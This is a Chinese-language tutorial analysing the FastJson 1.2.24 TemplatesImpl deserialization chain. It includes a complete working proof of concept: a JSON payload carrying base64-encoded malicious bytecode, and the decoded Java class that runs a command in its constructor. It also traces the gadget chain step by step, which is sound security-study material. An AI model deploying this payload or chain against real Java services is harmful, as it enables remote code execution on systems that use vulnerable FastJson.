慢慢更新,每个版本都过一遍
FastJson & TemplatesImpl
- 环境: FastJson <= 1.2.24
- 运行环境:Java 1.8.0_121
- 利用链:TemplatesImpl链
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig;
public class Main { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
|
首先先来介绍一下defineClass
方法
defineClass
是java中的一种方法,通常在ClassLoader
类或者其他子类中使用,他的主要作用是将字节码转换为Java类对象
所以根据这一特性,我们可以通过传入恶意的字节码让他转换后调用,执行恶意操作
但是在实际场景中,defineClass
方法作用域是不开放,所以很难直接利用它,只能通过别的方法来调用
在TransletClassLoader
中,我们发现它就调用了这个方法
我们使用find usages
找到哪里使用了,发现defineTransletClasses
继续往上跟,找到了getTransletInstance
方法
PS: 同时还找到了其他两个方法,但是我们仔细看,它并没有做额外其他的操作,只有第三个getTransletInstance
才进行了转换类的操作
继续查找,跟到了newTransformer
,到这一步就可以了,因为它已经是公共的了
但我们留意到,实际上触发的点,还有上一步,代码就在它的下面,getOoutputProperties
方法
那么为什么我们在传入poc的时候会触发这个呢,这是因为FastJson
在反序列化时会自动调用目标类中的getter
方法
在FastJson
中,它调用的时序是这样的
- 解析JSON字符串
- 查找所有符合getter命名规范的方法
- 如果json中包含相应的属性名,触发对应的getter方法
那么我们结合网上的poc来看
1 2 3 4 5 6 7
| String text = "{ \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAA...AAAACACQ=\"], '_name':'a.b','_tfactory':{ }, "_outputProperties\":{ } }"; _outputProperties`包含在这段poc中的时候,会触发`getter`方法,因为这是符合它的命名规范的,所以在反序列化的过程中,它会去调用`getOurputProperties()
|
最后的攻击链就是
1
| getOurputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()
|
但是在defineTransletClasses()
中要注意一点,它会去进行一个判断
我们在前面可以翻到,意思就是说,他会去对比判断,是不是这个超类
所以我们在poc中,需要继承这个类
1
| public class Test extends AbstractTranslet
|
最后需要转换的_bytecodes
,解过来就是下面这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception { Test t = new Test(); } }
|
最后,配合利用链,就能把这个转换成类,然后执行我们的代码了
但是它有一个限制,需要你的代码开启Feature.SupportNonPublicField
因为在TemplatesImpl
类中,这些都是私有字段,启用了之后,Fastjson
才能访问private
、protected
等非公开字段
而poc中,又需要_bytecodes
来注入恶意代码,所以不开启的情况下,无法正常利用